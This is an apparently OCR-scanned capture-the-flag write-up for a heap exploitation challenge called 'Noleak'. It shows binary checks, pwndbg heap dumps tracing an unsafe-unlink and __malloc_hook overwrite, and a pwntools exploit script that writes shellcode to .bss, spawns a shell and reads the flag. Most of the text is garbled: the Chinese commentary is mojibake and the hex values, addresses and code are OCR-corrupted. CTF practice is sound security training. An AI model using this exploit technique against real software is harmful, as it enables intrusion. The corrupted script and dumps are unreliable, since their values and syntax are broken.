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healer@healer:~/Documents/CTF/PWN/Noleak$ readelf -h timu
ELF Header:

Magic: 7f 45 4c 46 02 01 01 00 00 00 0O 0O 0O 0O 00 00

Class:

Data:
Version:
0S/ABI:

ABI Version:
Type:
Machine:
Version:

Entry point address:

Start of program headers:

Start of section headers:

Flags:
Size of this header:

Size of program headers:

ELF64

2's complement, little endian
1 (current)

UNIX - System V

0

EXEC (Executable file)
Advanced Micro Devices X86-64
ox1

0x400620

64 (bytes into file)

4408 (bytes into file)

ox0

64 (bytes)

56 (bytes)

Number of program headers: 9

Size of section headers: 64 (bytes)

Number of section headers: 27
Section header string table index: 26
healer@healer:~/Documents/CTF/PWN/Noleak$ checksec timu
[*] '/home/healer/Documents/CTF/PWN/Noleak/timu'
Arch: amd64-64-1ittle
RELRO: Full RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
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B, MEREAEA W UM KT, B E B R iNoleak, HR-AFATHE S & an el A A L B IX LRI, 4iE
HHTTE, B4 —T B,

SeE BRI HLE 2 W] UL shellcodeffl, BI LA'S Ashellcodeffiith 55 WYL dataBt. bssB. HE. ¥, ¥I2BHEAE XA LA
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pwndbg> x/20xg 0x601040

Ox601040: Ox0000000001d89010 ©Ox00VVVRRV1d89120
buf[0o] buf[1]

OXx601050: 0x000000000VVVVRY VxRV

pwndbg> x/90xg ©x0000000001d89000
Px1d39000: ©Ox000PPOPPOARGRN0 OxPPEPPAREERO111
Px1d89010: 0Ox6161616161616161 Ox6161616161616161

Px1d89100: 0x6161616161616161 0x6161616161616161
Px1d89110: 0©x00000000000VRVO 00XV 111
0x1d89120: 0x6262626262626262 0x6262626262626262




0x1d89210:
0x1d89220:
0x1d89230:

0Xx6262626262626262 0x6262626262626262
0x0000000000000000 Ox000VVVVRL20del
0X00000000000VVYD BXx0VVVBRLVVVVVBRLVYD

<-top chunk

driEbuf[0] A ALAIE chunkEH .

pwndbg> x/20xg 0x601040

0x601040: 0x0000000001d89010 ©x000VCCO1d89120
OX601050: Ox0000VVVVVVVVVVRO Vx00VVVVVRRVVVLLO

pwndbg> Xx/90xg 0x0000000001d89000

0x0000000000000000
0xX0000000000000000
0x0000000000601028
0x3131313131313131

0x3131313131313131
0x0000000000000100
0x6262626262626262

0x6262626262626262
0x0000000000000000

0x0000000000000111
0x0000000000000101
0x0000000000601030
0x3131313131313131

0x3131313131313131
0x0000000000000110
0x6262626262626262

0x6262626262626262
0x0000000000020del

<- buf[eo]
<- fake chunk(freed)

<- buf[1] pre_sizelfsize#i&ik

<- top chunk

BEbuf[1] FBunlink#1E:
pwndbg> x/20xg 0x601040
Ox601040: 0x0000000000601028 0©Ox0000000001d89120
OX601050: 0x0000000000000000 X000V RV0

<- unlinkiJ 7% G —Z#iERbul0] BB HOX601028

pwndbg> Xx/90xg 0x0000000001d89000

0x0000000000000000
0x0000000000000000
0x0000000000601028
0x3131313131313131

0x3131313131313131
0x0000000000000100
0x6262626262626262

0x6262626262626262
0x0000000000000000
0Xx0000000000000000

0x0000000000000111
0x0000000000020f 1
0x0000000000601030
0x3131313131313131

0x3131313131313131
0Xx0000000000000110
0x6262626262626262

0x6262626262626262
0x0000000000020del
0Xx0000000000000000

<- top chunk

pwndbg> x/20xg 0x601040

Ox601040: 0x0000000000601020 Ox0VVVVVRVVR601040
buf[@] address
OXx601050: 0x00000000000VVVRO VxRV

bss address

pwndbg> x/90xg 0x0000000001d89000

0Xx0000000000000000

0Xx0000000000000000

0Xx0000000000601028

0Xx0000000000000100

0Xx0000000000000000

0x0000000000000111
0x00000000000201f1
0Xx0000000000601030

0Xx0000000000000110

0x0000000000020del
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pwndbg> x/20xg 0x601040

0X601040: Ox000000000V601020
buf[@]->bss

0x601050: 0x0000000001d89020
buf[2] buf[3]

OX601060: Ox0000VV0VVVVVVVRO Ox00VVVVVRRVVVVB20

0X601070: Ox00000000VVVVVVRO Vx00VVVVVBRVVVVLLO

0x0000000000601040
buf[1]->buf[0]
0x0000000001d89130

pwndbg> Xx/90xg @x0000080001d89000

0xX0000000000000000
0xX0000000000000000
0x6363636363636363

0x6363636363636363
0x6262626262626262
0x6464646464646464

0x6464646464646464
0x0000000000000000

0x0000000000000111
0x0000000000000111
0x6363636363636363

0x6363636363636363
0x0000000000000111
0x6464646464646464

0x6464646464646464
0x0000000000020dd1

HIBRbuf[2]:

pwndbg> x/20xg 0x601040

Ox601040: 0x0000000000601020 0©Ox00000CVVVA601040
OX601050: 0x0000000001d89020 ©Ox000000VVV1d89130
OX601060: Ox0000000000000000 0Ox00000CVVVVV020

pwndbg> Xx/90xg 0x0000000001d89000

0x0000000000000000
0x0000000000000000
0x0000715e13917b78
0x6363636363636363

0x6363636363636363
0x0000000000000110
0x6464646464646464

0x6464646464646464
0Xx0000000000000000

0x0000000000000111
0x0000000000000111
0x0000715e13917b78
0x6363636363636363

0x6363636363636363
0Xx0000000000000110
0x6464646464646464

0x6464646464646464
0x0000000000020dd1

dmiEbuf[2] 12

pwndbg> x/20xg 0x601040

Ox601040: 0x0000000000601020 Ox00VVVVVVVR601040
Ox601050: Ox0000000001d89020 ©Ox00VVVVRV1d89130
OX601060: 0x00000000VVVVVRRY VxRNV 20

pwndbg> x/90xg 0x0000000001d89000

0Xx0000000000000000
0Xx0000000000000000
0X0000000000000000
0x6363636363636363

0x6363636363636363
0Xx0000000000000110

0Xx0000000000000111
0Xx0000000000000111
0Xx0000000000601040
0x6363636363636363

0x6363636363636363
0Xx0000000000000110

<- main_arena+88




0x6464646464646464 0Ox6464646464646464
0x0000000000000000 0x0000VVVR20dd1
0X000000000VVVYY X0V

KB — A node , K/MFIZ BT K/ —FEfIchunk, ¥main_arena+88HIME#EF|buf[6]
pwndbg> x/20xg 0x601040

. Ox0000000000601020
: 0X0000000001468020
. 0X0000000001468020
: 0x00007fd2baed5b78
: 0X0000000000000000

0x0000000000601040
0x0000000001468130
0x0000000000000020
0x0000000000000000
0x0000000000000000

pwndbg> x/90xg @x0000080001468000

0x0000000000000000
0x0000000000000000
0x6565656565656565

0x6565656565656565
0x0000000000000110
0x6464646464646464

0x6464646464646464
0x0000000000000000
0x0000000000000000

0x0000000000000111
0x0000000000000111
0x6565656565656565

0x6565656565656565
0x0000000000000111
0x6464646464646464

0x6464646464646464
0x0000000000020dd1
0x0000000000000000

<-

fake chunk

Ebuf[6 ] H EATE Mmain_arena+88/I% M#&A__malloc_hook:

pwndbg> x/10xg 0x601040

. 0Xx0000000000601020
: ©0x0000000000000000
: 0Xx00000000000VLO
: Ox00007fedffcoO8blO
. Ox0000000000000000

{fEbssH15E Eshellcode:
pwndbg> x/10xg 0x601020

: Ox68732f212f68686a
: 0x6972243481010101
: Ox6ad231e18951e101
. Ox0000000000000000
. Ox0000000000000000

pwndbg> x/20i 0x601020

0x601020:
0x601022:
0x601027:
0x60102c:
0x60102e:
0x601033:
0x60103a:
0x60103c:
0x60103d:
0x60103f:
0x601040:
0x601042:
0x601043:
0x601045 :

push ox68
push
push
mov ebx,esp
push
xor
xor ecx,ecx
push rcx
ox4

rcx

push
pop
add
push

ecx,esp
rcx
mov ecx,esp

xor edx, edx

0x1010101
DWORD PTR [rsp],0x1016972

0x0000000000601040
0x0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000000

0x0168e3896€69622f
0x59046a51c9310101
0x0000000080cd580b
0Xx0000000000000000
0Xx0000000000000000

ox732f2f2f
0x6e69622f




0x601047: push oxb
0x601049: pop rax
0x60104a: int 0x80

Ebuf[6]143  malloc_hookigfbssTakkt, Bishellcode

pwndbg> x/20xg 0x00007fe4ffco8blo

Ox7fedffco8bl0 < malloc_hook>: Ox0000000000601020 ©x0000CCCCCOCCOOO
Px7fedffcO8b20 <main_arena>: 0x0000000100000000 0x00000CCOOOCOOOO

Fkmallocfii % shellcode

from pwn import
context.log_level

context.terminal

remote( ,59762)

context(arch

def add_node(size,data):
io.recvuntil(
io.sendline(
io.recvuntil( )
io.sendline( (size))
io.recvuntil( )

io.sendline(data)

update_node(index,size,data):
io.recvuntil( )
io.sendline(

io.recvuntil( )
io.sendline( (index))
io.recvuntil( )
io.sendline( (size))
io.recvuntil( )
io.sendline(data)

def delete_node(index):
io.recvuntil(

io.sendline(
io.recvuntil( )
.sendline( (index))

0x601040
0x601020




add_node(0x100,b 0x100)

p64(0) + p64(0x101)

p64(buf_addr-0x18) p64(buf_addr-0x10) oxe0*b p64(0x100) p64(0x110)
update_node(0,0x110,payload)
delete node(1)

p64(0) + p64(0) + p64(0)

p64(bss_addr) p64(buf_addr)

p64(9) p64(9) p64(0) p64(0x20)

update_node (0, (payload),payload)

add_node(0x100,b 0x100)
add_node(0x100,b 0x100)

delete_node(2)

p64(9) p64(buf_addr + 0x20)
update_node(2, (payload),payload)

add_node (0x100,b 0x100)

p64(bss_addr) p64(buf_addr)
p64(9) 4

) (payload),payload)

asm(shellcraft.sh())
update_node(90, (shellcode),shellcode)

payload = p64(bss_addr)
update_node(6, (payload),payload)

.recvuntil(
.sendline(
.recvuntil(
.sendline(

.interactive()

I A LR TR PR B R B AR S LR /b — 4] context(arch = "amd64", os = 'linux') M#HATRI, @WK EEHUNEDR arch =
"amd64" , ERE—UBBXFATEEREN SBWEHRKER, REENERELEERELR, EOUGMEXNGRBEEEHERT

B A B AT 15 O




[DEBUG] Received ©x22 bytes:
b'bin\n'
'dev\n’
'flag\n'
'1lib\n'
'1ib32\n'
'1ib64\n'

"timu\n'

[DEBUG] Sent ©x9 bytes:
b'cat flag\n'
[DEBUG] Received @x2d bytes:
b'cyberpeace{****¥***x*xx*x**9hc0802b5166514}\n"
cyberpeace{6{*******x*x*x*x*x*ghc0802b5166514}
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